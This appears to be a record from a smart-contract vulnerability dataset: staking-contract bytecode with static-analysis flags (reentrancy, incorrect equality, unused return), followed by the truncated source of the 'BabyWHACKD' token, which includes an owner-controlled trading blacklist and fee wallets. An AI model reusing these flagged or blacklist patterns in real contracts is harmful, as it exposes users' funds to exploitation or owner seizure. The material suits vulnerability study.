8101908080359060200190929190505050611295565b005b610511600480360360208110156104e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611469565b6040518082815260200191505060405180910390f35b61052f611481565b005b61055d6004803603602081101561054757600080fd5b810190808035906020019092919050505061148c565b005b6105a16004803603602081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aa6565b6040518082815260200191505060405180910390f35b6105bf611abe565b6040518082815260200191505060405180910390f35b6105dd611ac4565b6040518082815260200191505060405180910390f35b6105fb611aca565b6040518082815260200191505060405180910390f35b610619611ad0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61064d611af4565b6040518082815260200191505060405180910390f35b61066b611afa565b6040518082815260200191505060405180910390f35b6106c36004803603602081101561069757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b01565b6040518082815260200191505060405180910390f35b6106e1611c48565b6040518082815260200191505060405180910390f35b6106ff611c4e565b6040518082815260200191505060405180910390f35b6107416004803603602081101561072b57600080fd5b8101908080359060200190929190505050611ccd565b005b6107856004803603602081101561075957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fcf565b6040518082815260200191505060405180910390f35b6107a3611fe7565b6040518082815260200191505060405180910390f35b6107c1611fec565b6040518082815260200191505060405180910390f35b6107df611ff2565b6040518082815260200191505060405180910390f35b6108376004803603602081101561080b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ff8565b005b61087b6004803603602081101561084f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612147565b6040518082815260200191505060405180910390f35b61089961215f565b6040518082815260200191505060405180910390f35b6060806060808486106108c157600080fd5b60006108d6878761216c90919063ffffffff16565b905060008167ffffffffffffffff811180156108f157600080fd5b506040519080825280602002602001820160405280156109205781602001602082028036833780820191505090505b50905060008267ffffffffffffffff8111801561093c57600080fd5b5060405190808252806020026020018201604052801561096b5781602001602082028036833780820191505090505b50905060008367ffffffffffffffff8111801561098757600080fd5b506040519080825280602002602001820160405280156109b65781602001602082028036833780820191505090505b50905060008467ffffffffffffffff811180156109d257600080fd5b50604051908082528060200260200182016040528015610a015781602001602082028036833780820191505090505b50905060008b90505b8a811015610bad576000610a2882600661218390919063ffffffff16565b90506000610a3f8e8461216c90919063ffffffff16565b905081878281518110610a4e57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868281518110610ad457fe5b602002602001018181525050600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858281518110610b2c57fe5b602002602001018181525050600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610b8457fe5b6020026020010181815250505050610ba660018261219d90919063ffffffff16565b9050610a0a565b50838383839850985098509850505050505092959194509250565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c2057600080fd5b6000610c2a611c4e565b905080600e541015610c3c57600e5490505b6000811415610c4b5750610c78565b610c54816121b9565b610c6981600e5461216c90919063ffffffff16565b600e8190555042600481905550505b565b61271081565b6203f48081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c6020528060005260406000206000915090505481565b80600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d7a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b6203f480610dd0600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261216c90919063ffffffff16565b11610e43576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f506c656173652077616974206265666f7265207769746864726177696e67210081525060200191505060405180910390fd5b610e4c33612247565b6000610e76612710610e6860328561253190919063ffffffff16565b61256090919063ffffffff16565b90506000610e8d828461216c90919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f4257600080fd5b505af1158015610f56573d6000803e3d6000fd5b505050506040513d6020811015610f6c57600080fd5b8101908080519060200190929190505050610fef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561108257600080fd5b505af1158015611096573d6000803e3d6000fd5b505050506040513d60208110156110ac57600080fd5b810190808051906020019092919050505061112f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61118183600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461216c90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d98360105461216c90919063ffffffff16565b6010819055506111f333600661257990919063ffffffff16565b801561123e57506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15611259576112573360066125a990919063ffffffff16565b505b505050565b600061126a60066125d9565b905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112ed57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561139e57600080fd5b505af11580156113b2573d6000803e3d6000fd5b505050506040513d60208110156113c857600080fd5b810190808051906020019092919050505061144b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43616e6e6f74206164642062616c616e6365210000000000000000000000000081525060200191505060405180910390fd5b61146081600e5461219d90919063ffffffff16565b600e8190555050565b60096020528060005260406000206000915090505481565b61148a33612247565b565b80600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b6203f480611597600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261216c90919063ffffffff16565b1161160a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f506c656173652077616974206265666f7265207769746864726177696e67210081525060200191505060405180910390fd5b42600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600f54600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006116be6127106116b060328561253190919063ffffffff16565b61256090919063ffffffff16565b905060006116d5828461216c90919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561178a57600080fd5b505af115801561179e573d6000803e3d6000fd5b505050506040513d60208110156117b457600080fd5b8101908080519060200190929190505050611837576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156118ca57600080fd5b505af11580156118de573d6000803e3d6000fd5b505050506040513d60208110156118f457600080fd5b8101908080519060200190929190505050611977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6119c983600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461216c90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a218360105461216c90919063ffffffff16565b601081905550611a3b33600661257990919063ffffffff16565b8015611a8657506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15611aa157611a9f3360066125a990919063ffffffff16565b505b505050565b600b6020528060005260406000206000915090505481565b600d5481565b60105481565b600e5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b6203f48081565b6000611b1782600661257990919063ffffffff16565b611b245760009050611c43565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611b755760009050611c43565b6000611bcb600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600f5461216c90919063ffffffff16565b90506000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000611c3a601154611c2c858561253190919063ffffffff16565b61256090919063ffffffff16565b90508093505050505b919050565b60035481565b600080611c666004544261216c90919063ffffffff16565b90506000611cc3612710611cb56203f480611ca786611c99612710686c6b935b8bbd40000061253190919063ffffffff16565b61253190919063ffffffff16565b61256090919063ffffffff16565b61256090919063ffffffff16565b9050809250505090565b60008111611d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b611d4c33612247565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611dfd57600080fd5b505af1158015611e11573d6000803e3d6000fd5b505050506040513d6020811015611e2757600080fd5b8101908080519060200190929190505050611eaa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611efc81600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219d90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f548160105461219d90919063ffffffff16565b601081905550611f6e33600661257990919063ffffffff16565b611fcc57611f863360066125ee90919063ffffffff16565b5042600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b60086020528060005260406000206000915090505481565b603281565b60055481565b60045481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461205057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561208a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a6020528060005260406000206000915090505481565b686c6b935b8bbd40000081565b60008282111561217857fe5b818303905092915050565b6000612192836000018361261e565b60001c905092915050565b6000808284019050838110156121af57fe5b8091505092915050565b600060105414156121c957612244565b6122066121f56010546121e76011548561253190919063ffffffff16565b61256090919063ffffffff16565b600f5461219d90919063ffffffff16565b600f819055507f497e6c34cb46390a801e970e8c72fd87aa7fded87c9b77cdac588f235904a825816040518082815260200191505060405180910390a15b50565b600061225282611b01565b905060008111156124a357600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156122f057600080fd5b505af1158015612304573d6000803e3d6000fd5b505050506040513d602081101561231a57600080fd5b810190808051906020019092919050505061239d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6123ef81600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219d90919063ffffffff16565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124478160055461219d90919063ffffffff16565b6005819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600f54600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808284029050600084148061255057508284828161254d57fe5b04145b61255657fe5b8091505092915050565b60008082848161256c57fe5b0490508091505092915050565b60006125a1836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6126a1565b905092915050565b60006125d1836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6126c4565b905092915050565b60006125e7826000016127ac565b9050919050565b6000612616836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6127bd565b905092915050565b60008183600001805490501161267f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061282e6022913960400191505060405180910390fd5b82600001828154811061268e57fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b600080836001016000848152602001908152602001600020549050600081146127a0576000600182039050600060018660000180549050039050600086600001828154811061270f57fe5b906000526020600020015490508087600001848154811061272c57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061276457fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506127a6565b60009150505b92915050565b600081600001805490509050919050565b60006127c983836126a1565b612822578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612827565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473a264697066735822122042341152cf3d98f252da02fa354a3263cf40f4ccd58184b3d8ab4d4f41df07e664736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
94
0x9c700cc475da09c005136090d26f903256315718
/** BabyWHACKD - Honoring his legacy telegram: https://t.me/BabyWhackd */ pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BabyWHACKD is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string public constant _name = "BABYWHACKD"; string public constant _symbol = "BBYWHACKD"; uint8 private constant _decimals = 9; uint256 private _taxFee = 3; uint256 private _teamFee = 9; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000* 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 